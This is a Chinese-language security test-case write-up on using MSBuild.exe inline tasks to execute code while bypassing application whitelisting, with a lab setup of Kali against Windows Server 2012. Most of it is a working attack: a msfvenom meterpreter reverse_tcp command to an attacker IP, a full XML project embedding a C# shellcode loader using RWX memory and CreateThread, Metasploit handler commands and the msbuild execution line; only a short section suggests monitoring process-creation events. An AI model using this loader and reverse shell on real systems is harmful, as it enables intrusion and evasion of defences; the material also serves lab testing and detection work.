簡介
MSBuild.exe(Microsoft Build Engine)是Visual Studio使用的軟件構建平臺。它採用XML格式的項目文件,定義了各種平臺的構建要求和配置。
攻擊者可能會使用MSBuild通過受信任的Windows實用程序來代理執行代碼。.NET 4中引入的MSBuild內聯任務功能允許將C#代碼插入到XML項目文件中。內聯任務MSBuild將編譯並執行內聯任務。MSBuild.exe是一個簽名的微軟二進制文件,因此當它以這種方式使用時,它可以執行任意代碼並繞過配置爲允許MSBuild.exe執行的應用白名單防禦。
測試案例
MSBuild 是 Microsoft Build Engine 的縮寫,代表 Microsoft 和 Visual Studio的新的生成平臺。MSBuild在如何處理和生成軟件方面是完全透明的,使開發人員能夠在未安裝Visual Studio的生成實驗室環境中組織和生成產品。
MSBuild 引入了一種新的基於 XML的項目文件格式,這種格式容易理解、易於擴展並且完全受 Microsoft 支持。MSBuild項目文件的格式使開發人員能夠充分描述哪些項需要生成,以及如何利用不同的平臺和配置生成這些項。
說明:Msbuild.exe所在路徑沒有被系統添加PATH環境變量中,因此,Msbuild命令無法識別。
補充說明:在高版本操作系統中,可以通過配置策略,對進程命令行參數進行記錄。日誌策略開啓方法:本地計算機策略>計算機配置>管理模板>系統>審覈進程創建>在過程創建事件中加入命令行>啓用
,同樣也可以在不同版本操作系統中部署sysmon,通過sysmon日誌進行監控。
win7默認位置:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe
檢測日誌
windows 安全日誌(需要自行配置)
測試復現
環境準備
攻擊機:Kali2019
靶機:windows server 2012
測試過程
MSF生成載荷
msfvenom -a x86 –platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.126.146 LPORT=4444 -f csharp
XML文件
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!-- This inline task executes shellcode. -->
<!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe SimpleTasks.csproj -->
<!-- Save This File And Execute The Above Command -->
<!-- Author: Casey Smith, Twitter: @subTee -->
<!-- License: BSD 3-Clause -->
<Target Name="Hello">
<ClassExample />
</Target>
<UsingTask
TaskName="ClassExample"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<Task>
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.Runtime.InteropServices;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class ClassExample : Task, ITask
{
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(
UInt32 lpThreadAttributes,
UInt32 dwStackSize,
UInt32 lpStartAddress,
IntPtr param,
UInt32 dwCreationFlags,
ref UInt32 lpThreadId
);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(
IntPtr hHandle,
UInt32 dwMilliseconds
);
public override bool Execute()
{
byte[] shellcode = new byte[] {
你的payload
};
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr pinfo = IntPtr.Zero;
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>
設置監聽
use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.126.146
msf exploit(multi/handler) > set lport 4444
msf exploit(multi/handler) > exploit
靶機執行payload
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe file.xml
查看反彈會話
日誌分析
監控思路
無具體檢測規則,可根據進程創建事件4688/1(進程名稱、命令行)進行監控。本監控方法需要自行安裝配置審覈策略/sysmon。
參考推薦
利用msbuild.exe繞過應用程序白名單安全機制的多種姿勢:https://www.freebuf.com/articles/network/197706.html
GreatSCT|MSF|白名單:http://www.secist.com/archives/6082.html
對亮神基於白名單 Msbuild.exe 執行 payload 第一季復現:https://blog.csdn.net/ws13129/article/details/89736941